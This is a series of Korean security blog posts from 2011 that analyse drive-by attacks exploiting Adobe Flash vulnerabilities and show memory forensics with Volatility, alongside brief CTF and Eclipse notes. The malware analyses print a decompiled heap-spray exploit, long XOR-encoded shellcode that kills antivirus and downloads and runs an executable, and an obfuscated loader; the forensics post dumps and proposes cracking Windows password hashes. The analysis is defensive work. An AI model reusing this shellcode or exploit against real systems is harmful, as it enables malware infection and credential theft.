,191 - 82 ,25 + 45 ,121 - 5 ,29 + 44 ,25 + 46 ,40 + 13 ,173 - 69 ,187 - 89 ,1044 / 12 ,4590 / 54 ,855 / 15 ,25 + 48 ,11 + 98 ,85 - 36 ,131 - 23 ,2156 / 22 ,4620 / 42 ,1020 / 12 ,73 + 32 ,73 / 1 ,576 / 8 ,96 - 6 ,3432 / 33 ,4704 / 48 ,4 + 68 ,101 - 15 ,194 - 86 ,5120 / 64 ,913 / 11 ,9 + 65 ,27 + 21 ,129 - 30 ,11440 / 104 ,68 + 18 ,126 - 18 ,86 - 13 ,154 - 49 ,68 - 3 ,2950 / 25 ,62 + 18 ,171 - 68 ,32 + 16 ,59 + 16 ,90 - 10 ,118 - 46 ,2904 / 44 ,112 - 8 ,8415 / 85 ,152 - 43 ,88 - 18 ,83 + 33 ,13 + 60 ,3408 / 48 ,1431 / 27 ,4264 / 41 ,294 / 3 ,97 - 10 ,44 + 41 ,84 - 27 ,26 + 47 ,174 - 65 ,95 - 13 ,79 + 29 ,168 - 68 ,101 + 8 ,2376 / 22 ,68 + 38 ,98 - 8 ,164 - 77 ,9 + 81 ,156 - 38 ,2940 / 30 ,80 + 30 ,4941 / 61 ,4200 / 40 ,11 + 62 ,3600 / 50 ,5130 / 57 ,10816 / 104 ,158 - 60 ,89 - 17 ,3096 / 36 ,18 + 90 ,32 + 48 ,664 / 8 ,2 + 72 ,63 + 46 ,165 - 76 ,435 / 5 ,68 + 52 ,2 + 120 ,126 - 36 ,1826 / 22 ,119 - 46 ,137 - 34 ,101 - 25 ,117 + 5 ,364 / 7 ,1482 / 19 ,2546 / 38 ,130 - 24 ,30 + 90 ,22 + 97 ,60 + 29 ,1408 / 16 ,1628 / 22 ,106 - 2 ,8036 / 82 ,143 - 60 ,31 + 35 ,197 - 80 ,4717 / 53 ,4437 / 51 ,1421 / 29 ,5292 / 49 ,92 - 12 ,4648 / 56 ,1702 / 23 ,63 + 59 ,58 + 31 ,54 + 33 ,22 + 98 ,75 + 37 ,30 + 60 ,55 - 5 ,57 - 5 ,525 / 5 ,2628 / 36 ,42 + 30 ,131 - 41 ,2288 / 22 ,46 + 52 ,2520 / 35 ,2666 / 31 ,5508 / 51 ,4000 / 50 ,2241 / 27 ,55 + 18 ,98 + 7 ,3723 / 51 ,74 - 7 ,2968 / 53 ,63 - 20 ,15 + 53 ,3321 / 41 ,190 - 79 ,2576 / 46 ,156 - 57 ,77 - 6 ,1260 / 18 ,46 + 75 ,3115 / 35 ,2262 / 26 ,19 + 29 ,48 + 55 ,149 - 51 ,103 + 6 ,17 + 53 ,13 + 103 ,58 + 32 ,22 + 62 ,52 - 4 ,73 + 32 ,14 + 75 ,37 + 50 ,231 - 111 ,226 - 111 ,111 - 13 ,99 - 48 ,6200 / 62 ,0 + 84 ,96 - 7 ,81 - 30 ,3034 / 41 ,72 + 40 ,8316 / 84 ,142 - 70 ,4264 / 52 ,103 - 37 ,31 + 58 ,78 - 28 ,53 + 25 ,13 + 95 ,23 + 76 ,459 / 9 ,56 + 21 ,159 - 54 ,58 + 15 ,85 - 13 ,4590 / 51 ,35 + 69 ,37 + 61 ,49 + 23 ,163 - 77 ,8424 / 78 ,79 + 1 ,92 - 9 ,133 - 59 ,11590 / 95 ,19 + 70 ,7134 / 82 ,54 - 5 ,64 + 44 ,128 - 46 ,67 + 4 ,64 - 7 ,7076 / 61 ,2670 / 30 ,7482 / 86 ,186 - 78 ,10296 / 88 ,5183 / 71 ,735 / 7 ,3510 / 54 ,4366 / 37 ,18 + 62 ,171 - 68 ,1632 / 34 ,88 - 13 ,131 - 51 ,91 - 24 ,3078 / 54 ,6726 / 57 ,153 - 64 ,57 + 52 ,94 + 18 ,126 - 18 ,96 - 7 ,96 - 45 ,405 / 5 ,65 - 22 ";
t=eval("mydata(String.fromCharCode("+UU+"))");
document.write(t);
</script>

눈으로 보기엔 아주 난독화가 심하게 되어 있는거 같지만 해당 코드는 그냥 간단하게 맨 아래 있는 document.write(t); 부분의 't' 값만 확인하면 난독화 하기 전 코드를 확인할 수 있습니다.

그런데 그렇게 시도하면 난독화가 풀리지가 않습니다. 코드를 확인해본 결과 아래 부분에서 오류가 나는걸 확인할 수 있었는대요

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


do{
 enc1=keyStrs.indexOf(input.charAt(i++));
 enc2=keyStrs.indexOf(input.charAt(i++));
 enc3=keyStrs.indexOf(input.charAt(i++));
 enc4=keyStrs.indexOf(input.charAt(i++));
 chr1=(enc1<<2)|(enc2>>4);
 chr2=((enc2&15)<<4)|(enc3>>2);
 chr3=((enc3&3)<<6)|enc4;
 output=output+String.fromCharCode(chr1);
 if(enc3!=64){output=output+String.fromCharCode(chr2);};
 if(enc4!=64){output=output+String.fromCharCode(chr3);};
 chr1=chr2=chr3="";
 enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;

위 코드에서 14번째 라인인 "};" 부분에서 오류가 남을 확인할 수 있습니다. 일반적으로 do while 문을 작성할 떄 do{} while(조건식); 형태로 작성하여야 하는데 해당 코드를 보면 do {}; while(조건식); 으로 작성되어 있음을 알 수 있습니다.

따라서 세미콜론 제거 후 풀면 아래와 같은 코드를 확인할 수 있습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" 

width="200" height="100" id="test" align="middle">

<param name="movie" value="happ.swf?

info=02E631B5B1353336AB51D3527B7A6FAE7986" />

<param name="quality" value="high" />

<param name="bgcolor" value="#ffffff" />

<param name="play" value="true" />

<param name="loop" value="true" />

<param name="wmode" value="window" />

<param name="scale" value="showall" />

<param name="menu" value="true" />

<param name="devicefont" value="false" />

<param name="salign" value="" />

<param name="allowScriptAccess" value="sameDomain" />

</object>

위 코드는 Adobe Flash Player 취약점인 CVE-2011-2110 으로 확인되었습니다.

Adobe Flash Player CVE-2011-2140 취약점 간단 분석

Fri, 09 Sep 2011 14:01:59 +0000

금일 분석하다 처음보는 취약점을 확인하여 기록합니다. 우선 특정 사이트에 아래와 같이 삽입이 되어 있었습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


function user(){

 var January="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
 "<object width=\"550\" height=\"400\">\r\n"+
 "<param name=\"movie\" value=\"done.swf\">\r\n"+
 "<embed src=\"Birthday.swf\" width=\"550\" height=\"400\">\r\n"+
 "<\/embed>\r\n"+
 "<\/object>"
 ;

 var info = navigator.userAgent.toLowerCase();
 var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
 var ck=code();
 var March = info.indexOf('msie 7.0');
 var April = info.indexOf('msie 6.0');
 var August = info.indexOf("windows nt 5.1");

 if(August>0&&ck==1&&(March>0||April>0)){
 document.body.innerHTML="xxxx"+January;
 }
}

여기서 Birthday.swf 파일을 살펴 보도록 하겠습니다. 이전에 알려드린 SWFScan 툴을 이용하여 코드를 확인하면 아래와 같습니다. SWFScan : http://www.hp.com/go/swfscan

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


package [Global]
{
 public class hs extends flash.display::MovieClip
 {

 //========================= Variables
 internal static const POOL_SIZE : int = -1048576;
 internal static var allocs : Array;
 internal static var pool : ByteArray;
 internal static var dstSize : int;
 internal static var allocCount : int;
 internal static var cevent : Function;
 internal static var childRef : DisplayObject = Null;
 internal static var container : Sprite = Null;

 //========================= Methods

 public static function hs()
 {
 this.POOL_SIZE = -1048576;
 this.childRef = null;
 this.container = null;
 return;

 }

 public function hs()
 {
 var loc1:* = undefined;
 var loc2:* = undefined;
 var loc9:* = null;
 super();
 var loc0:* = new ByteArray();
 loc0.endian = Endian.LITTLE_ENDIAN;
 var loc3:* = 0;
 var loc4:* = "4357530AA805000078DA7D535B8FDB44149EF16DE26473DBA4DE6DDAD294164542247652046CB48D48932D744537D2AEB84A2B32B1279BA18E6DD993CB4A48A09578E1857FC1BF408807241E4357C07B9FFA2F96B1BD4D36A562642773CE7CE73BDF39673C07D27300323F03B00D41377F1D00F05DE10F08C0AE6F0D9B87DD47E5F9D8768226B71E54468C794D5D9FCD66B5D9FD9AEB9FE8F59D9D1DDD68E88D469523AAC1A9C3F0BCEA04772BAD88A04B02D3A71EA3AE530E6D3C7027EC41A572C96A994B526FE2DB11A565EAC42663E2B040AFD7EA9CC8329B43D71F63D6C29E6753138774FABC1A8C5CF3E90C4F497568E360B4ABAF80610CA3CC26ADB6E50E48F9914DE6E577CBED557C848E2121D85A096D5D291387D135D31DEB9EEF5A13936B1A72AA28F86A4848E14D06360D46C46F4D9CA78E3B8B53ACBC21C6F40966EE3AE2A52F3CB7B17332C127A4B577109D2DED482366A4D530EAF5EA07D57A23D610BA76F5575A7DE9E1D36B816EEE85B80B3AC2C5C5C55749918F57E1AF047AEF8368FDF450F9A5CEC7FD7BF209A60EF8B5F82DC7701B0C7D3C267590033520FC76F6C38F12006F0169EA526B23EA768D4CC31165DB7CE6E69EEFBBFE5EE890429A748CB068E0D9F8547DE24E29E9D8D4CBE325F863EC5836F1533172C2A81DA80F4F1969FB3E8F88BD0E61E903C23AAEE31033AC0B99F1F6CEE58456D3691FDDD71B86F19E3E98509B51E792774C2C8AB7D6D434976A8AEBFE23CFA78CDC5B7776E3FFDEE01B9E960B61BC3AE2DF5E073D7618F13157382531F0C6FF90DCBCDABD66D4B3F01C3393DF1125C6A8BCEA23C6AFC538370B457DEA04F4C421164F946A1F7D79D0F97AEFF0B07798C39615117C420346B82E99D4F0944A6132F9336A11378B19C3E6684997E0119D11B5ADEC2B89D36B1AF3FFA9487B7D2394B869450D6AA2A66CCB9AAAA56420832D98C868D9925CCA95F2A5CD52A1542C5D2B694201414156126A524C491BE94C3697DF2C6C711F1224046524220413484E2265434D43A4F0A36D04AFAB25A8DE8428754B7D0322781B410D096524DE41E29B48BC8BC47B5278912114C06A41515225C03D50CE8B108ADC86FCD643C8732F8C8F22F8CBAD20CAC9D4E70B63F1181C2BFB0AF85EF9EB18ED2370F6F7B3722F018FD567FB2A3CFBE7CF2AEC25E1D5DFF3BE304CF5E5DE8670FECE8D5E1A1E67F633E0EC6D533AEF65E16220F57290D38B02CF5A591804F4F3467FD3E8178C7ED1E85F33FA9AD197F8F305B815AF91C8E16A21FCFAA28FF143BEF9179183A55A";
 var loc5:* = "0c0c9090eb115a4a33c96681c1E30780340a96e2faeb05e8eafffffff67e96969696cb177b8586d6961d631b10f683d696c67eda9296961b10c783d696c67ed69296961b102783d696c67ea29296961b104c83d696c67ebe929696c0fc977e2f949696c0fc947e27949696c0fc957e3f949696c0fc927e37949696c07ed0979696c07e39969696c07e11969696fc9669001f83d696f755c31d7a15526a1dd39e1fd36aa556cf16af96e292d6d77d615f549296c31d7a69e39e7e4f69696997d39e1de39a1deb9e69e39a7e5e6969691d5e15579765325f549e96c31d7ac11deb9e1369e2be1dc39a1344e2b7c01de3861d50d813561d59e09abd41d01c92871e97d7d8e3611d51c8c95f549a96a556c95f549a96c31d7a1de39e1b103781d696c669000383d696fcf3c669000f83d69669465f549296c31d7a1552621de39ef61bcb6ac5fcd6fcf21d10ce83d696c669000783d696f71d10ce83d6961fd3621d50933d87d696bdd362157e931fd36ef6fc971b088681d696c51d10ce83d696c67ec3696969f7f6fc921bd36ec61d10ce83d696155697c67ea8696969f71b101f83d696fc92c62e3d87d6969550155695c67eb26969695f549296fc962e9696969669465f549296c31d7a15527a1de39efe92979696fcd669001b83d6961fd36ac6fe9297969669001383d696f61b080181d696c569e36a7e21686969f769e36a6900ff83d696fc96fc9669e36a1b08ad83d696c5fc9669007783d6969d56991362969696fc96fc96fc95fc96fc95fc9569e36a6900e783d6961fd36e15eb6e96991244969696fc9669e36e6900fb83d6961fd36217eb62f67c969699102196969617eb6206c9979699153c96969669e362fcd669001b83d6961fd36651d37a96969696fc961bd37ac669e36269e36669e36e6900ef83d6969d56e2eaf61ddb621dd3661c861654b216644a1e86d6dfe364f7fc96fc96fc9669e36e69003783d696156e69e2c4fc9651d37a969696961bd37ac669e36269e36669e36e6900eb83d6969d56e2a469e36e6900e383d696fe4691969669000b83d69669e36a69000383d696156e96e2711b083b81d696c5c669000f83d69669465f549296c31d7a1552461de39afe92979696fcd669001b83d6961fd36a1bd36ec6fe8f969496fc9615eb9e97e3901b107f83d69615eb9e94e3901b109480d69615eb9e95e3901b10b480d69615eb9e92e3901b10dc80d696c6fe9496961669002c83d69615eb9e97e29015eb9e94e3937f1e96969615eb9e95e3b49d56e388fc961b08f481d696c569001783d696fc961b08eb81d696c569001783d69615eb9e92e3c09d56e3c4fea9969996fc96fc9669005083d6969d56e2a9fcb21b088181d696c5c669005c83d6969d56e2bd1bcb46c5fc97c669005883d696fc961b08a681d696c569001783d696fc961b08dc81d696c569001783d6965f549e969d56e2905f549e967df215eb9e97e3901b08f580d69615eb9e94e3901b082180d696c5fc96fc97fc9669003383d6969d56e291c669003f83d69615eb9e97e3901b080a80d69615eb9e94e3901b087980d696c5fc96fc97fc9669003383d6969d56e291c669003f83d6965f549e96f61de2b2b27e01969696fe3b47a2d7c67eb7969696c069461d4ebd563a1256e36d1d683b1356e29cc6c57e919696963d7d67f7549296f61dfab2b21dd3aa1dc2beee95431ddc8e1dccb6954b75dfdf1da21d9563a569f61d40a5566146a494259e477ee593a3b6152e7b685de36516ac96e295d47d7161461f92b2f7adeab2bee35c1dccb2954bf01d9add1dcc8a954b1d921d95537d94bd561fd2b28af7549e96f6a556f21dd6a61356ee9a1dd69a1de68a3b1dd69e7d9f1dd6a21bd6ea1dd6aa1fd2b28af755fee2e2e6acb9b9e5f2a6b8fff8b9e2b9f0b8f3eef396e3e5f3e4a5a496942dddf396969696fdf3e4f8f3faa5a49648f9b3488d17eb7949bb1f1a0bdcf4feccf74ec205e1e1b7d9bad3be0b7fbc4517e763d655c535152d4255ef3b47a2d789ea5f692ca0579cd40b1313ef29cf803576899796969696f7f2e0f7e6ffa5a4960fc08f5bad9f211e39948e12fa3befddfc68f7ba60694c8991c3885296969696e3e4fafbf9f8968f42550496969696c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5daffe2f396c5d9d0c2c1d7c4d3cacad7fef8daf7f4cacac0a5b6a5a0a3b6d5fafff8fff596c5d9d0c2c1d7c4d3cacad8ded8b6d5f9e4e6f9e4f7e2fff9f8cacad8f7e0f3e4c0f7f5f5fff8f396c5d9d0c2c1d7c4d3cacad3c5c2e5f9f0e2cacad7dacff7f596d1faf9f4f7facac0a5dadfc2d3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5dadfc2d3c9d0dfd8dfc5dec9d3c0d3d8c296d1faf9f4f7facac0a5a5a0a3c9edd7a5d7a6afd3d3a4bba7d4a7d3bba2a6a0a1bbd4a4a4d2bba6a4a0afa7a2a0d4a7a6a6a6ebc9d7dada96d1faf9f4f7facac0a5a5a0a3c9d0dfd8dfc5dec9d3c0d3d8c2962e9696969696967f060606060696d796da96cf96f796f596c996c696cc96c596e496e096969696f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7cfd7f1f3f8e2b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d7dacff7f5b8f7eff396f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8c0d5d7f1f3f8e2b8f8e6f596f8e2e5f2b6bbf5b6e7b6bbe6f8b6d8e5f7e0e5e0f5b8f8e6f596c0c5daf7efb8f2fafa96c5fef2f9f5e0e1b8f2fafa96fff8ffe296b2c5fef3fafad5f9f2f3c9c2fef3d3f8f2b22e21919696c67e979696965a69b396b6d6969696969696969696969696969696969696969696969696969696";
 loc0.writeBytes(this.hexToBin(loc5));
 loc3 = loc5.length / 2;
 loc1 = 0;
 while(loc1 < 65536 - loc3)
 {
 loc0.writeByte(12);
 loc1 = loc1 + 1;
 }
 this.alloc(loc0, -1048576 - 36);
 var loc6:* = new ByteArray();
 writeBytes(this.pool, 0, -1048576 - 36);
 allocs.push(loc6);
 this.pool = null;
 loc1 = 0;
 while(loc1 < 224)
 {
 loc9 = new ByteArray();
 writeBytes(loc6, 0, -1048576 - 36);
 allocs.push(loc9);
 loc1 = loc1 + 1;
 }
 var loc7:* = new Loader();
 var loc8:* = new LoaderContext(false);
 loc7.loadBytes(this.hexToBin(loc4), loc8);
 this.childRef = 0;
 return;

 }

 public static function init_pool(arg0:*)
 {
 var loc0:* = null;
 this.pool = new ByteArray();
 pool.writeBytes(arg0);
 while(this.pool.length < this.POOL_SIZE)
 {
 loc0 = new ByteArray();
 loc0.writeBytes(this.pool);
 pool.writeBytes(loc0);
 }
 return;

 }

 public static function alloc(arg0:*, arg1:*)
 {
 if(null == this.allocs)
 {
 this.allocs = new Array();
 }
 this.dstSize = ;
 this.init_pool(arg0);
 return;

 }

 public static function free()
 {
 this.allocs = null;
 return;

 }

 public static function hexToBin(arg0:String) : flash.utils::ByteArray
 {
 var loc3:* = null;
 var loc0:* = new ByteArray();
 var loc1:* = arg0.length;
 var loc2:* = 0;
 while(loc2 < loc1)
 {
 loc3 = arg0.charAt(loc2) + arg0.charAt(loc2 + 1);
 loc0.writeByte(parseInt(loc3, 16));
 loc2 = loc2 + 2;
 }
 return loc0; 
 }
 }
}

여기서 loc4, loc5 변수를 살펴보면 해당 취약점을 이해할 수 있습니다. 우선 loc5 부터 살펴 보겠습니다. 살펴보면 0x96으로 XOR 되어 있음을 알 수 있고 국내 여러 백신을 종료시키는 시도시키고 http://***.in/t/f.exe 파일을 다운로드 및 실행을 함을 알 수 있습니다.

그럼 이제 loc4 변수를 살펴 보도록 하겠습니다. 우선 해당 변수값을 파일로 저장해보면 Flash 파일임을 알 수 있습니다. 역시 SWFScan 툴로 확인해봅니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


package [Global]
{
 public class Main extends flash.display::MovieClip
 {

 //========================= Methods

 public static function Main()
 {
 return;

 }

 public function Main()
 {
 super();
 var loc0:* = new ByteArray();
 var loc1:* = new NetConnection();
 loc1.connect(null);
 var loc2:* = new NetStream(loc1);
 loc0.writeUnsignedInt(1094795585);
 loc0.writeUnsignedInt(1094795585);
 loc0.writeUnsignedInt(1094795585);
 loc2.addEventListener(AsyncErrorEvent.ASYNC_ERROR, this.asyncErrorHandler);
 loc2.play("e.avi");
 var loc3:* = new Video();
 attachNetStream(loc2);
 this.addChild(loc3);
 return;

 }

 public static function asyncErrorHandler(arg0:flash.events::AsyncErrorEvent)
 {
 return;
 }
 }
}

코드를 살펴보면 e.avi 파일을 로드함을 알 수 있습니다. 해당 파일을 다운로드 하여 우선 파일을 확인해 봅니다.

1
2


[byjjoon@ByJJoon ~]$ file e.avi
e.avi: ISO Media, MPEG v4 system, version 2

일반적인 MP4 파일로 보이며, 해당 파일을 로드하다 취약점이 발생하여 이전에 분석한 loc5 변수의 쉘코드가 실행될 것으로 보입니다. 해당 파일의 VirusTotal 결과는 아래와 같습니다.

http://www.virustotal.com/file-scan/report.html?id=2c6f21dd290771ad9d4a14167110c6ad83938994e08c46125d5d562d7c110ea1-1315575312

최근에 exploit-db에 아래와 같은 코드가 올라와서 남겨 놓습니다. http://www.exploit-db.com/exploits/18437/

Volatility를 이용하여 Memory Dump에서 윈도우 패스워드 찾기

Sat, 27 Aug 2011 15:27:06 +0000

우선 Volatility를 다운로드 하도록 하자. 예전 버전은 Python을 이용하여 실행하였는데 최근에 2.0 으로 버전업 되면서 Python 없이 단독으로 실행이 가능해졌다. Volatility : https://www.volatilesystems.com/default/volatility

이제 실행해 보도록 하자. 우선 예제 메모리 덤프 파일은 아래주소에서 다운로드 하도록 하자. 예제 메모리 덤프 파일 : http://www.cfreds.nist.gov/mem/memory-images.rar

우선 '-h' 옵션으로 도움말을 보도록 하자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84


D:\Security Tools\Forensic\Memory Tools\volatility-2.0.standalone>volatility.exe -h
Volatile Systems Volatility Framework 2.0
Usage: Volatility - A memory forensics analysis platform.

Options:
 -h, --help list all available options and their default values.
 Default values may be set in the configuration file
 (/etc/volatilityrc)
 -d, --debug Debug volatility
 --info Print information about all registered objects
 --plugins=PLUGINS Additional plugin directories to use (colon separated)
 --cache-directory=C:\Users\ByJJoon/.cache\volatility
 Directory where cache files are stored
 --no-cache Disable caching
 --tz=TZ Sets the timezone for displaying timestamps
 -f FILENAME, --filename=FILENAME
 Filename to use when opening an image
 -k KPCR, --kpcr=KPCR Specify a specific KPCR address
 --output=text Output in this format (format support is module
 specific)
 --output-file=OUTPUT_FILE
 write output in this file
 -v, --verbose Verbose information
 -g KDBG, --kdbg=KDBG Specify a specific KDBG virtual address
 --dtb=DTB DTB Address
 --cache-dtb Cache virtual to physical mappings
 --use-old-as Use the legacy address spaces
 -w, --write Enable write support
 --profile=WinXPSP2x86
 Name of the profile to load
 -l LOCATION, --location=LOCATION
 A URN location from which to load an address space

 Supported Plugin Commands:

 bioskbd Reads the keyboard buffer from Real Mode memory
 connections Print list of open connections [Windows XP Only]
 connscan Scan Physical memory for _TCPT_OBJECT objects (tcp connections)
 crashinfo Dump crash-dump information
 dlldump Dump DLLs from a process address space
 dlllist Print list of loaded dlls for each process
 driverscan Scan for driver objects _DRIVER_OBJECT
 filescan Scan Physical memory for _FILE_OBJECT pool allocations
 getsids Print the SIDs owning each process
 handles Print list of open handles for each process
 hashdump Dumps passwords hashes (LM/NTLM) from memory
 hibinfo Dump hibernation file information
 hivedump Prints out a hive
 hivelist Print list of registry hives.
 hivescan Scan Physical memory for _CMHIVE objects (registry hives)
 imagecopy Copies a physical address space out as a raw DD image
 imageinfo Identify information for the image
 inspectcache Inspect the contents of a cache
 kdbgscan Search for and dump potential KDBG values
 kpcrscan Search for and dump potential KPCR values
 lsadump Dump (decrypted) LSA secrets from the registry
 memdump Dump the addressable memory for a process
 memmap Print the memory map
 moddump Dump a kernel driver to an executable file sample
 modscan Scan Physical memory for _LDR_DATA_TABLE_ENTRY objects
 modules Print list of loaded modules
 mutantscan Scan for mutant objects _KMUTANT
 netscan Scan a Vista, 2008 or Windows 7 image for connections and sockets
 patcher Patches memory based on page scans
 printkey Print a registry key, and its subkeys and values
 procexedump Dump a process to an executable file sample
 procmemdump Dump a process to an executable memory sample
 pslist print all running processes by following the EPROCESS lists
 psscan Scan Physical memory for _EPROCESS pool allocations
 pstree Print process list as a tree
 sockets Print list of open sockets
 sockscan Scan Physical memory for _ADDRESS_OBJECT objects (tcp sockets)
 ssdt Display SSDT entries
 strings Match physical offsets to virtual addresses (may take a while, VERY verbose)
 testsuite Run unit test suit using the Cache
 thrdscan Scan physical memory for _ETHREAD objects
 userassist Print userassist registry keys and information
 vaddump Dumps out the vad sections to a file
 vadinfo Dump the VAD info
 vadtree Walk the VAD tree and display in tree format
 vadwalk Walk the VAD tree
 volshell Shell in the memory image

D:\Security Tools\Forensic\Memory Tools\volatility-2.0.standalone>

이제 패스워드를 찾아 보도록 하자.

hivescan 옵션을 이용하여 스캔한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


D:\Security Tools\Forensic\Memory Tools\volatility-2.0.standalone>volatility.exe hivescan -f xp-laptop-2005-07-04-1430.img
Volatile Systems Volatility Framework 2.0
Offset (hex)
42168328 0x02837008
42195808 0x0283db60
47598392 0x02d64b38
155764592 0x0948c770
155973608 0x094bf7e8
208587616 0x0c6ecb60
208964448 0x0c748b60
234838880 0x0dff5b60
243852936 0x0e88e688
251418760 0x0efc5888
252887048 0x0f12c008
256039736 0x0f42db38
269699936 0x10134b60
339523208 0x143cb688
346659680 0x14a99b60
377572192 0x16814b60
387192184 0x17141578
509150856 0x1e590688
521194336 0x1f10cb60
523667592 0x1f368888
527756088 0x1f74eb38

hivelist 옵션을 이용하여 리스트를 확인합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


D:\Security Tools\Forensic\Memory Tools\volatility-2.0.standalone>volatility.exe hivelist -f xp-laptop-2005-07-04-1430.img --profile=WinXPSP2x86
Volatile Systems Volatility Framework 2.0
Virtual Physical Name
0xe2610b60 0x14a99b60 \Device\HarddiskVolume1\Documents and Settings\Sarah\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe25f0578 0x17141578 \Device\HarddiskVolume1\Documents and Settings\Sarah\NTUSER.DAT
0xe1d33008 0x0f12c008 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1c73888 0x0efc5888 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
0xe1c04688 0x0e88e688 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b70b60 0x0dff5b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
0xe1658b60 0x0c748b60 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1a5a7e8 0x094bf7e8 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe165cb60 0x0c6ecb60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe1a4f770 0x0948c770 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe1559b38 0x02d64b38 [no name]
0xe1035b60 0x0283db60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe102e008 0x02837008 [no name]
0x8068d73c 0x0068d73c [no name]

hashdump 옵션을 통해 hivelist에서 찾은 System 및 SAM Hive offset 값을 입력하여 확인합니다.

1
2
3
4
5
6
7
8
9


D:\Security Tools\Forensic\Memory Tools\volatility-2.0.standalone>volatility.exe hashdump -f xp-laptop-2005-07-04-1430.img -y 0xe1035b60 -s 0xe165cb60
Volatile Systems Volatility Framework 2.0
Administrator:500:08f3a52bdd35f179c81667e9d738c5d9:ed88cccbc08d1c18bcded317112555f4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:ddd4c9c883a8ecb2078f88d729ba2e67:e78d693bc40f92a534197dc1d3a6d34f:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8bfd47482583168a0ae5ab020e1186a9:::
phoenix:1003:07b8418e83fad948aad3b435b51404ee:53905140b80b6d8cbe1ab5953f7c1c51:::
ASPNET:1004:2b5f618079400df84f9346ce3e830467:aef73a8bb65a0f01d9470fadc55a411c:::
Sarah:1006:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

획득한 덤프를 ophcrack이나 Cain&Abel 툴을 이용하여 크랙한다.

2011년 ISEC 본선 진출!

Sat, 27 Aug 2011 14:36:08 +0000

2011년 8월 26일 오후 9시 부터 27일 오후 9시까지 24시간 예선 대회가 있었습니다. 저희는 -cesi- 이라는 팀이름으로 참가를 하였습니다. (이제 팀 이름도 바꿀때가 된듯...)

전체 순위 3위로 작년에 이어 올해도 본선 진출을 하게 되었네요. 올해는 본선에서 작년보다 좀 더 나은 성적을 기대해 봅니다.

Eclipse with PyDev

Tue, 02 Aug 2011 23:41:18 +0000

최근 Python 스크립트를 작성하는데 여러 함수와 클레스가 사용되는 스크립트라 Eclipse의 PyDev 플러그인을 이용하여 작성해 보았다.

나름 쓸만하였고 테마까지 셋팅해주니 앞으로 이것만 계속 쓸거 같은 느낌? 셋팅 과정에서 에러가 발생하는 부분이 있어 다음에 설치 시 삽질을 줄이고자 기록해 둔다.

우선 이클립스를 다운로드 하자. Eclipse : http://www.eclipse.org

어떤 패키지도 상관없으나 난 PyDev만 사용할것이므로 용량이 제일 적은 패키지인 "Eclipse for Testers" 로 설치하였다. 추가로 당연하겠지만 Eclipse 실행을 하려면 JRE가 설치되어 있어야 한다.

Eclipse를 실행하여 [Help] - [Install New Software] 를 선택하여 [Add] 버튼을 눌러 아래 다운로드 주소를 추가 한다. PyDev : http://pydev.org/updates
추가를 하면 PyDev가 나오며 체크를 하여 설치를 하면 되는데, 여기서 "Contect all update sites during install to required software" 에는 체크를 꼭 풀고 설치를 하자. 이때문에 설치 과정에서 에러가 자주 발생했다.

그리고 아래 플러그인 들도 추천한다. 테마 : http://eclipse-color-theme.github.com/update/ Word Wrap : http://ahtik.com/eclipse-update/

역시 설치 시 "Contect all update sites during install to required software" 에는 체크를 풀고 하도록 하자.

Extracting EXE Drop Malware

Wed, 27 Jul 2011 23:12:40 +0000

평소 생각만 하고 언젠가 한번쯤 코딩해봐야지 했던 도구였는데 우연히 보게 되었다.

